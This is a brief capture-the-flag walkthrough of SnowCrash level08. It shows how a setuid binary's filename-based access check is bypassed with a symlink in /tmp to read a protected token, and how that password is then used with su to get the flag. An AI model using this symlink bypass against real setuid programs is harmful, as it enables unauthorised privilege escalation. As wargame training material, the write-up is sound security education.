```
intresting, we have the usual setuid binary, but we also have a file we can't read named token. I wonder if the flag is there
lets run the binary and see what happens
```bash
level08@SnowCrash:~$ ./level08
./level08 [file to read]
level08@SnowCrash:~$ ./level08 token
You may not access 'token'
```
It is a little bit smart, lets try to outsmart it by using symlinks
```bash
level08@SnowCrash:~$ ln -s $(realpath token) /tmp/level08
level08@SnowCrash:~$ ./level08 /tmp/level08

the old tale of checking for filename, and not actual file !
we can now get the actual token with that password:
```bash
level08@SnowCrash:~$ su flag08 -c getflag
Password:
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
